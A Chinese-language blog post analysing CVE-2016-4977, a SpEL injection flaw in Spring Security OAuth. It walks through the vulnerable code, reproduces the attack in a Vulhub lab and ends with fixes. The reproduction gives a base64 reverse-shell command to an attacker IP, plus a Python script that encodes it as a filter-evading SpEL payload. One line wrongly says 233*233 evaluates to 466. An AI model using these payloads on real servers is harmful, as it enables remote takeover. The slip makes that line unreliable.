CVE-2016-4977源码分析与漏洞复现


漏洞概述

CVE-2016-4977 是 Spring Security OAuth 模块中的一个高危远程代码执行漏洞,影响版本为 1.0.0–1.0.52.0.0–2.0.9。攻击者通过构造恶意 SpEL(Spring Expression Language)表达式注入到错误处理流程中,触发远程命令执行。该漏洞的利用需攻击者具备合法身份认证(如通过 OAuth 授权流程),但在已授权场景下可直接接管服务器权限。


技术细节分析

1. 漏洞成因

  • Whitelabel 视图的 SpEL 解析缺陷
    Spring Security OAuth 在处理错误页面(如认证失败)时,使用 WhitelabelErrorEndpoint 渲染错误信息。错误信息中的 errorSummary 参数未对用户输入进行过滤,直接通过 SpelView 渲染模板,导致 SpEL 表达式被解析执行。
  • 递归解析漏洞
    PropertyPlaceholderHelper 在处理模板时递归解析 ${} 内的内容,攻击者可通过构造多层嵌套表达式绕过防御机制,例如 ${T(java.lang.Runtime).getRuntime().exec("calc")}

2. 源码分析

关键代码 1:错误处理逻辑(WhitelabelErrorEndpoint.java)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {
private static final String ERROR_TEMPLATE = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";

@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<>();
Object error = request.getAttribute("error");
String errorSummary = (error instanceof OAuth2Exception) ?
((OAuth2Exception) error).getSummary() : "Unknown error";
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR_TEMPLATE), model); // 漏洞触发点
}
}
  • 问题点
    errorSummary 直接取自用户可控参数(如 redirect_uriresponse_type),未进行转义或过滤。通过 SpelView 渲染时,${errorSummary} 中的恶意表达式被解析执行。
关键代码 2:SpEL 模板渲染(SpelView.java)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class SpelView implements View {
private final String template;
private final PropertyPlaceholderHelper helper;
private final PlaceholderResolver resolver;

public SpelView(String template) {
this.template = template;
this.helper = new PropertyPlaceholderHelper("${", "}"); // 定义占位符
this.resolver = name -> {
Expression expr = parser.parseExpression(name);
return expr.getValue(context).toString(); // 执行表达式
};
}

@Override
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) {
String result = helper.replacePlaceholders(template, resolver); // 触发解析
response.getWriter().write(result);
}
}
  • 问题点
    replacePlaceholders 方法递归解析 ${} 内容,例如若 errorSummary 包含 ${233*233},表达式会被计算为 466,若包含恶意命令(如 Runtime.exec()),则直接执行。

漏洞复现步骤

1. 环境搭建

1
2
# 使用 Vulhub 环境
docker-compose up -d

upload successful

2. 攻击验证

Payload 1(表达式验证)

访问以下 URL,触发表达式计算:

1
http://target:8080/oauth/authorize?response_type=${233*233}&client_id=acme&redirect_uri=http://test

  • 结果:页面显示 errorSummary54289,证明表达式被执行。

upload successful

Payload 2(反弹 Shell)
  • 生成反弹shell
    1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
    其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)
  • 开启监听

upload successful

  • python脚本生成payload
    由于传统反弹shell被spring后端过滤了,因此采用将反弹shell拆分,并且转化为ASCII码拼接起来,以此来绕过防护。
    1
    2
    3
    4
    5
    6
    message = input('Enter message to encode:')
    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
    for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
    poc += ')}'
    print(poc)
                               输入之前的反弹shell
    

upload successful

  • 生成 Payload 后,构造 URL:
1
2
 http://target:8080/oauth/authorize?response_type=<encoded_payload>&client_id=acme&redirect_uri=http://test
将 <encoded_payload>替换为payload

upload successful
- 结果:成功在攻击机监听的端口获取 Shell


upload successful

修复方案

  1. 升级版本
    升级至 Spring Security OAuth 2.0.10+ 或 **1.0.6+**,官方修复了 SpEL 表达式的递归解析问题。

  2. 补丁机制分析
    修复方案引入 RandomValueStringGenerator,将 ${errorSummary} 替换为随机字符串前缀(如 random{errorSummary}),仅当占位符前缀匹配随机字符串时才解析表达式,但存在暴力破解风险(随机字符串固定为 6 位)。

  3. 临时缓解措施

    • 禁用 Whitelabel 错误页面,自定义错误处理逻辑。
    • 对用户输入的 redirect_uriresponse_type 参数进行严格校验和过滤。

总结

CVE-2016-4977 的根源在于 Spring Security OAuth 对用户输入缺乏安全处理,导致 SpEL 注入。其修复方案通过随机化占位符前缀限制表达式解析,但开发者仍需警惕类似递归解析漏洞。实际开发中,应遵循最小化输入信任原则,避免直接渲染未经验证的用户输入。


参考来源

  1. Spring Security OAuth RCE 漏洞分析(CVE-2016-4977)
  2. CVE-2016-4977 补丁机制与利用限制
  3. 漏洞复现与 PoC 构造

CVE-2016-4977源码分析与漏洞复现
https://spinage.top/2025/07/03/CVE-2016-4977源码分析与漏洞复现/
作者
spinage
发布于
2025年7月3日
许可协议